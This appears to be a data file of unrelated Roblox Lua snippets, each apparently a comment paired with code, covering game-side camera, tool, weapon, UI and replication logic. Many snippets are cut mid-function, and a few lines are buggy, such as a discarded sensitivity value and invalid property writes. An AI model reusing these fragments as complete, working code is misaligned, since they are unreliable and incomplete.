StoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip)
else
StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value
end
elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then
Ammo.Value = StoredAmmo.Value
StoredAmmo.Value = 0
end
end
BreakReload = false
Reloading = false
if Selected then
AmmoInClip = 0
Gui_Clone.CrossHair.Reload.Visible = false
end
end
end
|
-- BEHAVIOUR
--Controller support
|
coroutine.wrap(function()
-- Create PC 'Enter Controller Mode' Icon
runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion
local Icon = require(script.Parent)
local controllerOptionIcon = Icon.new()
:setName("_TopbarControllerOption")
:setOrder(100)
:setImage("rbxassetid://5278150942")
:setRight()
:setEnabled(false)
:setTip("Controller mode")
controllerOptionIcon.deselectWhenOtherIconSelected = false
-- This decides what controller widgets and displays to show based upon their connected inputs
-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle
-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode
local function determineDisplay()
local mouseEnabled = userInputService.MouseEnabled
local controllerEnabled = userInputService.GamepadEnabled
local iconIsSelected = controllerOptionIcon.isSelected
if mouseEnabled and controllerEnabled then
-- Show icon
controllerOptionIcon:setEnabled(true)
elseif mouseEnabled and not controllerEnabled then
-- Hide icon, disableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(false)
controllerOptionIcon:deselect()
elseif not mouseEnabled and controllerEnabled then
-- Hide icon, _enableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(true)
end
end
userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay)
userInputService.GamepadConnected:Connect(determineDisplay)
userInputService.GamepadDisconnected:Connect(determineDisplay)
determineDisplay()
-- Enable/Disable Controller Mode when icon clicked
local function iconClicked()
local isSelected = controllerOptionIcon.isSelected
local iconTip = (isSelected and "Normal mode") or "Controller mode"
controllerOptionIcon:setTip(iconTip)
IconController._enableControllerMode(isSelected)
end
controllerOptionIcon.selected:Connect(iconClicked)
controllerOptionIcon.deselected:Connect(iconClicked)
-- Hide/show topbar when indicator action selected in controller mode
userInputService.InputBegan:Connect(function(input,gpe)
if not IconController.controllerModeEnabled then return end
if input.KeyCode == Enum.KeyCode.DPadDown then
if not guiService.SelectedObject and checkTopbarEnabled() then
IconController.setTopbarEnabled(true,false)
end
elseif input.KeyCode == Enum.KeyCode.ButtonB then
IconController._previousSelectedObject = guiService.SelectedObject
IconController._setControllerSelectedObject(nil)
IconController.setTopbarEnabled(false,false)
end
input:Destroy()
end)
-- Setup overflow icons
for alignment, detail in pairs(alignmentDetails) do
if alignment ~= "mid" then
local overflowName = "_overflowIcon-"..alignment
local overflowIcon = Icon.new()
:setImage(6069276526)
:setName(overflowName)
:setEnabled(false)
detail.overflowIcon = overflowIcon
overflowIcon.accountForWhenDisabled = true
if alignment == "left" then
overflowIcon:setOrder(math.huge)
overflowIcon:setLeft()
overflowIcon:set("dropdownAlignment", "right")
elseif alignment == "right" then
overflowIcon:setOrder(-math.huge)
overflowIcon:setRight()
overflowIcon:set("dropdownAlignment", "left")
end
end
end
end)()
|
--[=[
Returns the current Promise status.
@return Status
]=]
|
function Promise.prototype:getStatus()
return self._status
end
|
--[[ The Module ]]
|
--
local BaseCamera = {}
BaseCamera.__index = BaseCamera
function BaseCamera.new()
local self = setmetatable({}, BaseCamera)
-- So that derived classes have access to this
self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD
self.cameraType = nil
self.cameraMovementMode = nil
local player = Players.LocalPlayer
self.lastCameraTransform = nil
self.rotateInput = ZERO_VECTOR2
self.userPanningCamera = false
self.lastUserPanCamera = tick()
self.humanoidRootPart = nil
self.humanoidCache = {}
-- Subject and position on last update call
self.lastSubject = nil
self.lastSubjectPosition = Vector3.new(0,5,0)
-- These subject distance members refer to the nominal camera-to-subject follow distance that the camera
-- is trying to maintain, not the actual measured value.
-- The default is updated when screen orientation or the min/max distances change,
-- to be sure the default is always in range and appropriate for the orientation.
self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)
self.currentSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)
self.inFirstPerson = false
self.inMouseLockedMode = false
self.portraitMode = false
self.isSmallTouchScreen = false
-- Used by modules which want to reset the camera angle on respawn.
self.resetCameraAngle = true
self.enabled = false
-- Input Event Connections
self.inputBeganConn = nil
self.inputChangedConn = nil
self.inputEndedConn = nil
self.startPos = nil
self.lastPos = nil
self.panBeginLook = nil
self.panEnabled = true
self.keyPanEnabled = true
self.distanceChangeEnabled = true
self.PlayerGui = nil
self.cameraChangedConn = nil
self.viewportSizeChangedConn = nil
self.boundContextActions = {}
-- VR Support
self.shouldUseVRRotation = false
self.VRRotationIntensityAvailable = false
self.lastVRRotationIntensityCheckTime = 0
self.lastVRRotationTime = 0
self.vrRotateKeyCooldown = {}
self.cameraTranslationConstraints = Vector3.new(1, 1, 1)
self.humanoidJumpOrigin = nil
self.trackingHumanoid = nil
self.cameraFrozen = false
self.headHeightR15 = R15_HEAD_OFFSET
self.heightScaleChangedConn = nil
self.subjectStateChangedConn = nil
self.humanoidChildAddedConn = nil
self.humanoidChildRemovedConn = nil
-- Gamepad support
self.activeGamepad = nil
self.gamepadPanningCamera = false
self.lastThumbstickRotate = nil
self.numOfSeconds = 0.7
self.currentSpeed = 0
self.maxSpeed = 6
self.vrMaxSpeed = 4
self.lastThumbstickPos = Vector2.new(0,0)
self.ySensitivity = 0.65
self.lastVelocity = nil
self.gamepadConnectedConn = nil
self.gamepadDisconnectedConn = nil
self.currentZoomSpeed = 1.0
self.L3ButtonDown = false
self.dpadLeftDown = false
self.dpadRightDown = false
-- Touch input support
self.isDynamicThumbstickEnabled = false
self.fingerTouches = {}
self.numUnsunkTouches = 0
self.inputStartPositions = {}
self.inputStartTimes = {}
self.startingDiff = nil
self.pinchBeginZoom = nil
self.userPanningTheCamera = false
self.touchActivateConn = nil
-- Mouse locked formerly known as shift lock mode
self.mouseLockOffset = ZERO_VECTOR3
-- [[ NOTICE ]] --
-- Initialization things used to always execute at game load time, but now these camera modules are instantiated
-- when needed, so the code here may run well after the start of the game
if player.Character then
self:OnCharacterAdded(player.Character)
end
player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char)
end)
if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end
self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
self:OnCurrentCameraChanged()
end)
if FFlagUserNewDefaultCameraAngle then
self:OnCurrentCameraChanged()
end
if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end
self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end
self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end
self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end
self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function()
self:OnDevTouchMovementModeChanged()
end)
self:OnDevTouchMovementModeChanged() -- Init
if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end
self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function()
self:OnGameSettingsTouchMovementModeChanged()
end)
self:OnGameSettingsTouchMovementModeChanged() -- Init
UserGameSettings:SetCameraYInvertVisible()
UserGameSettings:SetGamepadCameraSensitivityVisible()
self.hasGameLoaded = game:IsLoaded()
if not self.hasGameLoaded then
self.gameLoadedConn = game.Loaded:Connect(function()
self.hasGameLoaded = true
self.gameLoadedConn:Disconnect()
self.gameLoadedConn = nil
end)
end
return self
end
function BaseCamera:GetModuleName()
return "BaseCamera"
end
function BaseCamera:OnCharacterAdded(char)
if FFlagUserNewDefaultCameraAngle then
self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled()
self.humanoidRootPart = nil
end
if UserInputService.TouchEnabled then
self.PlayerGui = Players.LocalPlayer:WaitForChild("PlayerGui")
for _, child in ipairs(char:GetChildren()) do
if child:IsA("Tool") then
self.isAToolEquipped = true
end
end
char.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
self.isAToolEquipped = true
end
end)
char.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
self.isAToolEquipped = false
end
end)
end
end
function BaseCamera:GetHumanoidRootPart()
if not self.humanoidRootPart then
local player = Players.LocalPlayer
if player.Character then
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
self.humanoidRootPart = humanoid.RootPart
end
end
end
return self.humanoidRootPart
end
function BaseCamera:GetBodyPartToFollow(humanoid, isDead)
-- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid
if humanoid:GetState() == Enum.HumanoidStateType.Dead then
local character = humanoid.Parent
if character and character:IsA("Model") then
return character:FindFirstChild("Head") or humanoid.RootPart
end
end
return humanoid.RootPart
end
function BaseCamera:GetSubjectPosition()
local result = self.lastSubjectPosition
local camera = game.Workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA("Humanoid") then
local humanoid = cameraSubject
local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead
if VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then
result = self.lastSubjectPosition
else
local bodyPartToFollow = humanoid.RootPart
-- If the humanoid is dead, prefer their head part as a follow target, if it exists
if humanoidIsDead then
if humanoid.Parent and humanoid.Parent:IsA("Model") then
bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow
end
end
if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then
local heightOffset = humanoid.RigType == Enum.HumanoidRigType.R15 and R15_HEAD_OFFSET or HEAD_OFFSET
if humanoidIsDead then
heightOffset = ZERO_VECTOR3
end
result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset)
end
end
elseif cameraSubject:IsA("VehicleSeat") then
local offset = SEAT_OFFSET
if VRService.VREnabled then
offset = VR_SEAT_OFFSET
end
result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)
elseif cameraSubject:IsA("SkateboardPlatform") then
result = cameraSubject.CFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA("BasePart") then
result = cameraSubject.CFrame.p
elseif cameraSubject:IsA("Model") then
if cameraSubject.PrimaryPart then
result = cameraSubject:GetPrimaryPartCFrame().p
else
result = cameraSubject:GetModelCFrame().p
end
end
else
-- cameraSubject is nil
-- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition
-- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the
-- last set valid values for these, as nil values are not handled cases
return
end
self.lastSubject = cameraSubject
self.lastSubjectPosition = result
return result
end
function BaseCamera:UpdateDefaultSubjectDistance()
local player = Players.LocalPlayer
if self.portraitMode then
self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, PORTRAIT_DEFAULT_DISTANCE)
else
self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)
end
end
function BaseCamera:OnViewportSizeChanged()
local camera = game.Workspace.CurrentCamera
local size = camera.ViewportSize
self.portraitMode = size.X < size.Y
self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700)
self:UpdateDefaultSubjectDistance()
end
|
---Adjusts the camera Y touch Sensitivity when moving away from the center and in the TOUCH_SENSITIVTY_ADJUST_AREA
|
function BaseCamera:AdjustTouchSensitivity(delta, sensitivity)
local cameraCFrame = game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame
if not cameraCFrame then
return sensitivity
end
local currPitchAngle = cameraCFrame:ToEulerAnglesYXZ()
local multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y
if currPitchAngle > TOUCH_ADJUST_AREA_UP and delta.Y < 0 then
local fractionAdjust = (currPitchAngle - TOUCH_ADJUST_AREA_UP)/(MAX_Y - TOUCH_ADJUST_AREA_UP)
fractionAdjust = 1 - (1 - fractionAdjust)^3
multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y - fractionAdjust * (
TOUCH_SENSITIVTY_ADJUST_MAX_Y - TOUCH_SENSITIVTY_ADJUST_MIN_Y)
elseif currPitchAngle < TOUCH_ADJUST_AREA_DOWN and delta.Y > 0 then
local fractionAdjust = (currPitchAngle - TOUCH_ADJUST_AREA_DOWN)/(MIN_Y - TOUCH_ADJUST_AREA_DOWN)
fractionAdjust = 1 - (1 - fractionAdjust)^3
multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y - fractionAdjust * (
TOUCH_SENSITIVTY_ADJUST_MAX_Y - TOUCH_SENSITIVTY_ADJUST_MIN_Y)
end
return Vector2.new(
sensitivity.X,
sensitivity.Y * multiplierY
)
end
function BaseCamera:OnTouchBegan(input, processed)
local canUseDynamicTouch = self.isDynamicThumbstickEnabled and not processed
if canUseDynamicTouch then
if self.dynamicTouchInput == nil and isInDynamicThumbstickArea(input) then
-- First input in the dynamic thumbstick area should always be ignored for camera purposes
-- Even if the dynamic thumbstick does not process it immediately
self.dynamicTouchInput = input
return
end
self.fingerTouches[input] = processed
self.inputStartPositions[input] = input.Position
self.inputStartTimes[input] = tick()
self.numUnsunkTouches = self.numUnsunkTouches + 1
end
end
function BaseCamera:OnTouchChanged(input, processed)
if self.fingerTouches[input] == nil then
if self.isDynamicThumbstickEnabled then
return
end
self.fingerTouches[input] = processed
if not processed then
self.numUnsunkTouches = self.numUnsunkTouches + 1
end
end
if self.numUnsunkTouches == 1 then
if self.fingerTouches[input] == false then
self.panBeginLook = self.panBeginLook or self:GetCameraLookVector()
self.startPos = self.startPos or input.Position
self.lastPos = self.lastPos or self.startPos
self.userPanningTheCamera = true
local delta = input.Position - self.lastPos
delta = Vector2.new(delta.X, delta.Y * UserGameSettings:GetCameraYInvertValue())
if self.panEnabled then
local adjustedTouchSensitivity = TOUCH_SENSITIVTY
self:AdjustTouchSensitivity(delta, TOUCH_SENSITIVTY)
local desiredXYVector = self:InputTranslationToCameraAngleChange(delta, adjustedTouchSensitivity)
self.rotateInput = self.rotateInput + desiredXYVector
end
self.lastPos = input.Position
end
else
self.panBeginLook = nil
self.startPos = nil
self.lastPos = nil
self.userPanningTheCamera = false
end
if self.numUnsunkTouches == 2 then
local unsunkTouches = {}
for touch, wasSunk in pairs(self.fingerTouches) do
if not wasSunk then
table.insert(unsunkTouches, touch)
end
end
if #unsunkTouches == 2 then
local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
if self.startingDiff and self.pinchBeginZoom then
local scale = difference / math.max(0.01, self.startingDiff)
local clampedScale = Util.Clamp(0.1, 10, scale)
if self.distanceChangeEnabled then
self:SetCameraToSubjectDistance(self.pinchBeginZoom / clampedScale)
end
else
self.startingDiff = difference
self.pinchBeginZoom = self:GetCameraToSubjectDistance()
end
end
else
self.startingDiff = nil
self.pinchBeginZoom = nil
end
end
function BaseCamera:OnTouchEnded(input, processed)
if input == self.dynamicTouchInput then
self.dynamicTouchInput = nil
return
end
if self.fingerTouches[input] == false then
if self.numUnsunkTouches == 1 then
self.panBeginLook = nil
self.startPos = nil
self.lastPos = nil
self.userPanningTheCamera = false
elseif self.numUnsunkTouches == 2 then
self.startingDiff = nil
self.pinchBeginZoom = nil
end
end
if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then
self.numUnsunkTouches = self.numUnsunkTouches - 1
end
self.fingerTouches[input] = nil
self.inputStartPositions[input] = nil
self.inputStartTimes[input] = nil
end
function BaseCamera:OnMouse2Down(input, processed)
if processed then return end
self.isRightMouseDown = true
self:OnMousePanButtonPressed(input, processed)
end
function BaseCamera:OnMouse2Up(input, processed)
self.isRightMouseDown = false
self:OnMousePanButtonReleased(input, processed)
end
function BaseCamera:OnMouse3Down(input, processed)
if processed then return end
self.isMiddleMouseDown = true
self:OnMousePanButtonPressed(input, processed)
end
function BaseCamera:OnMouse3Up(input, processed)
self.isMiddleMouseDown = false
self:OnMousePanButtonReleased(input, processed)
end
function BaseCamera:OnMouseMoved(input, processed)
if not self.hasGameLoaded and VRService.VREnabled then
return
end
local inputDelta = input.Delta
inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * UserGameSettings:GetCameraYInvertValue())
if self.panEnabled and ((self.startPos and self.lastPos and self.panBeginLook) or self.inFirstPerson or self.inMouseLockedMode) then
local desiredXYVector = self:InputTranslationToCameraAngleChange(inputDelta,MOUSE_SENSITIVITY)
self.rotateInput = self.rotateInput + desiredXYVector
end
if self.startPos and self.lastPos and self.panBeginLook then
self.lastPos = self.lastPos + input.Delta
end
end
function BaseCamera:OnMousePanButtonPressed(input, processed)
if processed then return end
self:UpdateMouseBehavior()
self.panBeginLook = self.panBeginLook or self:GetCameraLookVector()
self.startPos = self.startPos or input.Position
self.lastPos = self.lastPos or self.startPos
self.userPanningTheCamera = true
end
function BaseCamera:OnMousePanButtonReleased(input, processed)
self:UpdateMouseBehavior()
if not (self.isRightMouseDown or self.isMiddleMouseDown) then
self.panBeginLook = nil
self.startPos = nil
self.lastPos = nil
self.userPanningTheCamera = false
end
end
function BaseCamera:UpdateMouseBehavior()
if FFlagUserCameraToggle and self.isCameraToggle then
CameraUI.setCameraModeToastEnabled(true)
CameraInput.enableCameraToggleInput()
CameraToggleStateController(self.inFirstPerson)
else
if FFlagUserCameraToggle then
CameraUI.setCameraModeToastEnabled(false)
CameraInput.disableCameraToggleInput()
end
-- first time transition to first person mode or mouse-locked third person
if self.inFirstPerson or self.inMouseLockedMode then
UserGameSettings.RotationType = Enum.RotationType.CameraRelative
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
else
UserGameSettings.RotationType = Enum.RotationType.MovementRelative
if self.isRightMouseDown or self.isMiddleMouseDown then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
end
function BaseCamera:UpdateForDistancePropertyChange()
-- Calling this setter with the current value will force checking that it is still
-- in range after a change to the min/max distance limits
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance)
local player = Players.LocalPlayer
local lastSubjectDistance = self.currentSubjectDistance
-- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0
-- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made
-- available by the developer without needing to allow players to mousewheel dolly into first person.
-- Some modules will override this function to remove or change first-person capability.
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
else
local newSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredSubjectDistance)
if newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
else
self.currentSubjectDistance = newSubjectDistance
if self.inFirstPerson then
self:LeaveFirstPerson()
end
end
end
-- Pass target distance and zoom direction to the zoom controller
ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))
-- Returned only for convenience to the caller to know the outcome
return self.currentSubjectDistance
end
function BaseCamera:SetCameraType( cameraType )
--Used by derived classes
self.cameraType = cameraType
end
function BaseCamera:GetCameraType()
return self.cameraType
end
|
-- Tell the ActiveCast factory module what FastCast actually *is*.
|
ActiveCast.SetStaticFastCastReference(FastCast)
|
--------------
|
local txt = script.Parent
txt.Changed:Connect(function()
if txt.Parent:IsA("Frame") then
wait(Time_Before_Disappearing)
if Fade_Out_Enabled then
repeat
wait()
txt.TextTransparency = txt.TextTransparency + Fade_Out_Smoothness
until txt.TextTransparency >= 1
wait(Time_Before_Disappearing)
txt:Destroy()
else
txt:Destroy()
end
end
end)
|
--------END RIGHT DOOR --------
|
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--// Recoil Settings
|
gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming
camrecoil = 0.26; -- How much the camera flicks when not aiming
AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming
AimCamRecoil = 0.33; -- How much the camera flicks when aiming
CamShake = 8; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
AimCamShake = 6; -- THIS IS ALSO NEW!!!!
Kickback = 0.8; -- Upward gun rotation when not aiming
AimKickback = 0.5; -- Upward gun rotation when aiming
|
-------- OMG HAX
|
r = game:service("RunService")
Tool = script.Parent
local equalizingForce = 250 / 1.2 -- amount of force required to levitate a mass
local gravity = .9999999999999999 -- things float at > 1
local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
for i=1,#c do
if c[i].className == "Part" then
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function onMassChanged(child, char)
print("Mass changed:" .. child.Name .. " " .. char.Name)
if (ghostEffect ~= nil) then
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
end
end
function UpdateGhostState(isUnequipping)
if isUnequipping == true then
ghostEffect:Remove()
ghostEffect = nil
massCon1:disconnect()
massCon2:disconnect()
else
if ghostEffect == nil then
local char = Tool.Parent
if char == nil then return end
ghostEffect = Instance.new("BodyForce")
ghostEffect.Name = "GravityCoilEffect"
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
ghostEffect.Parent = char.Head
ghostChar = char
massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)
massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)
end
end
end
function onEquipped()
Tool.Handle.CoilSound:Play()
UpdateGhostState(false)
end
function onUnequipped()
UpdateGhostState(true)
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
|
--[[Sword Part Class]]
|
--
local SwordPart =
{
Damage = 20,
AttackTime = 1,
CoolDown = 0.01,
LastSwing = 0,
LastHit = 0,
Part= nil,
Owner = nil,--player object that owns this sword
OnHit = nil,
OnHitHumanoid = nil,
OnAttackReady = nil,
OnAttack = nil,
SwingSound = nil,
HitSound = nil,
SwingAnimation = nil, --animation track!
ActiveConnections = {},
}
do
UTIL.MakeClass(SwordPart)
function SwordPart.New(npart,nowner)
local init= UTIL.DeepCopy(SwordPart)
init.Part= npart
init.Owner = nowner
table.insert(init.ActiveConnections,init.Part.Touched:connect(function(hit) init:SwordTouch(hit) end))
init.OnHit = InternalEvent.New()
init.OnHitHumanoid = InternalEvent.New()
init.OnAttackReady = InternalEvent.New()
init.OnAttack = InternalEvent.New()
return init
end
function SwordPart:SwordTouch(hit)
if tick()-self.LastSwing >self.AttackTime or tick()-self.LastHit<self.AttackTime then return end
self.OnHit:Fire(hit)
local character,humanoid = UTIL.FindCharacterAncestor(hit)
if character and character ~= self.Owner.Character then
humanoid:TakeDamage(self.Damage)
self.OnHitHumanoid:Fire(humanoid,hit)
self.LastHit = tick()
if self.HitSound then
self.HitSound:Play()
end
end
end
function SwordPart:DoSwing()
if tick()-self.LastSwing<self.AttackTime+self.CoolDown then
return
end
if self.SwingAnimation then
self.SwingAnimation:Play()
end
if self.SwingSound then
self.SwingSound:Play()
end
self.LastSwing = tick()
self.OnAttack:Fire()
end
function SwordPart:Destroy()
for _,i in pairs(self.ActiveConnections) do
i:disconnect()
end
end
end
do
local Handle = script.Parent
local Tool = Handle.Parent
local Player = game.Players.LocalPlayer
local Character = UTIL.WaitForValidCharacter(Player)
local SwingAni = UTIL.Instantiate"Animation"
{AnimationId = "http://www.roblox.com/Asset?ID=89289879"}
local HitSound = Handle:WaitForChild('Hit')
local SwingSound = Handle:WaitForChild('Swing')
local SwingAniTrack
local Sword
Tool.Equipped:connect(function(mouse)
Sword = SwordPart.New(Handle,Player)
Sword.Damage = 40
Sword.HitSound = HitSound
Sword.SwingSound = SwingSound
Character = UTIL.WaitForValidCharacter(Player)
local Humanoid = Character:FindFirstChild('Humanoid')
SwingAniTrack = Humanoid:LoadAnimation(SwingAni)
Sword.SwingAnimation = SwingAniTrack
Sword.OnHitHumanoid:Connect(function(humanoid,hit)
local myTorso = Character:FindFirstChild('Torso')
local torso = humanoid.Parent:FindFirstChild('Torso')
if not torso or not myTorso then return end
if hit.Name=='idk' or hit.Name=='idk' or hit.Name=='idk' or hit.Name=='idk' then
hit:BreakJoints()
WeldUtil.WeldBetween(hit, Handle)
Delay(1,function() hit:BreakJoints() end )
end
end)
mouse.Button1Down:connect(function()
Sword:DoSwing()
end)
end)
Tool.Unequipped:connect(function()
Sword:Destroy()
end)
end
|
-- Play sounds
|
for _, effect in pairs(EffectsToPlay:GetChildren()) do
if effect:IsA("Sound") then
effect:Play()
elseif effect:IsA("ParticleEmitter") then
-- Emit particles for enough time to create a cloud
effect.Enabled = true
end
end
wait(8)
|
-- warn(b, b:GetChildren())
|
local val = b.text.Value -- обязательный элемент
local new = sample:Clone() --Make a clone of the sample frame
new.PName.Text = val -- устанавливаем текст
-- new.LayoutOrder = num + a --UIListLayout используется для корректной сортировки списка
local x = b:FindFirstChild("image")
if x then
image = x.Value
end
if image then
new.Image.Image = image -- установка картинки
else
new.Image.Parent = nil
new.Pname.Position.X = UDim.new(0,0)
new.Pname.Size = UDim2.new(1,0,1,0)
end
-- подключение скрипта самоуничтожения
local des = dm:Clone()
des.Parent = new
des.Disabled = false
-- вывод на экран
new.Parent = sf--Parent to scrolling frame
new.DestroyMe.Disabled = false -- стартуем скрипт самоуничтожения
end
b.Parent = nil
end
-- уничтожаем элементы
for a,b in pairs(tmp) do
|
--// # key, Else
|
mouse.KeyDown:connect(function(key)
if key=="n" then
if veh.Lightbar.middle.Else.IsPlaying == true then
veh.Lightbar.middle.Wail:Stop()
veh.Lightbar.middle.Else:Stop()
veh.Lightbar.middle.Priority:Stop()
script.Parent.Parent.Sirens.meme.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
else
veh.Lightbar.middle.Wail:Stop()
veh.Lightbar.middle.Else:Play()
veh.Lightbar.middle.Priority:Stop()
script.Parent.Parent.Sirens.Else.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
end
end
end)
|
--This control module helps synchronize flashing signals. Helps multiple flashing signals to flash at the same time
| |
-- Coroutine runner that we create coroutines of. The coroutine can be
-- repeatedly resumed with functions to run followed by the argument to run
-- them with.
|
local function runEventHandlerInFreeThread(...)
acquireRunnerThreadAndCallEventHandler(...)
while true do
acquireRunnerThreadAndCallEventHandler(coroutine.yield())
end
end
|
-- { id = "slash.xml", weight = 10 }
|
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
},
}
|
-- Write handlers:
|
local function ReplicaSetValue(replica_id, path_array, value)
local replica = Replicas[replica_id]
-- Getting path pointer and listener table:
local pointer = replica.Data
local listeners = replica._table_listeners
for i = 1, #path_array - 1 do
pointer = pointer[path_array[i]]
if listeners ~= nil then
listeners = listeners[1][path_array[i]]
end
end
-- Setting value:
local key = path_array[#path_array]
local old_value = pointer[key]
pointer[key] = value
-- Signaling listeners:
if old_value ~= value and listeners ~= nil then
if old_value == nil then
if listeners[3] ~= nil then -- "NewKey" listeners
for _, listener in ipairs(listeners[3]) do
listener(value, key)
end
end
end
listeners = listeners[1][path_array[#path_array]]
if listeners ~= nil then
if listeners[2] ~= nil then -- "Change" listeners
for _, listener in ipairs(listeners[2]) do
listener(value, old_value)
end
end
end
end
-- Raw listeners:
for _, listener in ipairs(replica._raw_listeners) do
listener("SetValue", path_array, value)
end
end
local function ReplicaSetValues(replica_id, path_array, values)
